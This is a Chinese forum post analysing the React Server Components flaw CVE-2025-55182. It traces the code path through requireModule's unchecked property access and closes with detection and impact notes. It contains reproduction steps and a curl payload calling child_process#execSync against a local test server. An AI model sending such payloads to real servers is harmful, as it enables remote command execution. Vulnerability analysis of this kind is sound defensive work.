找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

520

积分

0

好友

78

主题
发表于 前天 20:28 | 查看: 15| 回复: 0

近期,一个涉及React服务器组件的安全漏洞(CVE-2025-55182)引发了广泛关注,多家安全机构发布了预警。本文将从技术原理出发,对该漏洞进行深入分析,并探讨其实际影响。

环境搭建与漏洞复现

首先,我们可以按照公开的PoC来搭建测试环境:

git clone https://github.com/ejpir/CVE-2025-55182-poc
cd CVE-2025-55182-poc
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start

启动漏洞服务后,可通过以下请求触发漏洞:

curl -X POST http://localhost:3002/formaction \
   -F '$ACTION_REF_0=' \
   -F '$ACTION_0:0={"id":"child_process#execSync","bound":["ifconfig"]}'

复现请求

漏洞原理分析

漏洞入口:动态分发函数

根据PoC可知,问题出在decodeAction函数。查阅文档,该函数负责动态路由功能,根据输入查找并调用相应的服务器端函数。

函数入口

关键函数调用链分析

  1. 入口函数 decodeAction()

    exports.decodeAction = function (body, serverManifest) {
      var formData = new FormData(),
        action = null;
      body.forEach(function (value, key) {
        key.startsWith("$ACTION_")
          ? key.startsWith("$ACTION_REF_")
            ? ((value = "$ACTION_" + key.slice(12) + ":"),
              (value = decodeBoundActionMetaData(body, serverManifest, value)),
              (action = loadServerReference(
                serverManifest,
                value.id,
                value.bound
              )))
            : key.startsWith("$ACTION_ID_") &&
              ((value = key.slice(11)),
              (action = loadServerReference(serverManifest, value, null)))
          : formData.append(key, value);
      });
      return null === action
        ? null
        : action.then(function (fn) {
            return fn.bind(null, formData);
          });
    };

    作用:解析FormData,识别$ACTION_REF_$ACTION_ID_字段,并调用loadServerReference函数。

  2. 中间函数 loadServerReference()

    function loadServerReference(bundlerConfig, id, bound) {
      var serverReference = resolveServerReference(bundlerConfig, id);
      bundlerConfig = preloadModule(serverReference);
      return bound
        ? Promise.all([bound, bundlerConfig]).then(function (_ref) {
            _ref = _ref[0];
            var fn = requireModule(serverReference);
            return fn.bind.apply(fn, [null].concat(_ref));
          })
        : bundlerConfig
          ? Promise.resolve(bundlerConfig).then(function () {
              return requireModule(serverReference);
            })
          : Promise.resolve(requireModule(serverReference));
    }

    关键点

    • 调用resolveServerReference解析模块ID。
    • 调用requireModule获取目标函数。
    • 使用fn.bind.applybound数组绑定为函数参数。
  3. 解析函数 resolveServerReference()

    function resolveServerReference(bundlerConfig, id) {
      var name = "",
        resolvedModuleData = bundlerConfig[id];
      if (resolvedModuleData) name = resolvedModuleData.name;
      else {
        var idx = id.lastIndexOf("#");
        -1 !== idx &&
          ((name = id.slice(idx + 1)),
          (resolvedModuleData = bundlerConfig[id.slice(0, idx)]));
        if (!resolvedModuleData)
          throw Error(
            'Could not find the module "' +
              id +
              '" in the React Server Manifest. This is probably a bug in the React Server Components bundler.'
          );
      }
      return resolvedModuleData.async
        ? [resolvedModuleData.id, resolvedModuleData.chunks, name, 1]
        : [resolvedModuleData.id, resolvedModuleData.chunks, name];
    }

    关键点:使用#分割ID。例如child_process#execSync会被分割为模块child_process和函数名execSync。返回的数组 [moduleId, chunks, exportName] 即为后续使用的元数据。

  4. 存在漏洞的函数 requireModule()

    function requireModule(metadata) {
      var moduleExports = __webpack_require__(metadata[0]);
      if (4 === metadata.length && "function" === typeof moduleExports.then)
        if ("fulfilled" === moduleExports.status)
          moduleExports = moduleExports.value;
        else throw moduleExports.reason;
      return "*" === metadata[2]
        ? moduleExports
        : "" === metadata[2]
          ? moduleExports.__esModule
            ? moduleExports.default
            : moduleExports
          : moduleExports[metadata[2]];
    }

    漏洞位置:在最后一行 moduleExports[metadata[2]]。此处通过属性名(metadata[2],即我们控制的函数名,如execSync)直接访问对象属性,缺少hasOwnProperty检查,导致了原型链污染漏洞。

这意味着,moduleExports对象(例如child_process模块)的所有属性均可被访问,而不仅限于serverManifest中预先定义的函数。攻击者可以利用此特性调用任意模块的任意函数,例如在Node.js环境中执行系统命令。

漏洞原理

漏洞本质

这是一个典型的原型链访问/污染漏洞。举例来说,如果serverManifest仅允许调用createUserdeleteUseruploadImage函数,但攻击者可以通过构造特定的ID(如app-actions-chunk#updateUser),访问并调用同一模块下的其他未授权函数(如updateUser)。

示例

漏洞检测与影响评估

针对该漏洞的检测,可以从以下几个角度考虑:

  1. 进程特征检测:关注使用node --conditions react-server app.js命令启动的进程。
  2. 白盒扫描:检查项目是否依赖并使用了react-dom/server相关功能。
  3. 黑盒扫描:由于漏洞端点(Endpoint)及serverManifest中的具体ID难以预知,通用黑盒扫描比较困难,可尝试通过分析被动流量进行识别。

结论

综合来看,CVE-2025-55182是一个存在于React服务器组件(RSC)框架中的高权限漏洞,其根源在于对动态加载的模块函数缺少严格的访问控制。攻击者利用此漏洞,理论上可以执行任意Node.js模块函数,进而可能导致远程命令执行(RCE),属于高危安全漏洞。不过,由于该漏洞的利用依赖特定的服务器配置(启用了React服务端动作)以及需要知晓或猜测有效的模块ID,其在实际攻击中的通用性受到一定限制。这也反映出在评估漏洞风险时,需结合技术原理与实际应用场景进行综合判断。

您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-9 00:47 , Processed in 0.058348 second(s), 36 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表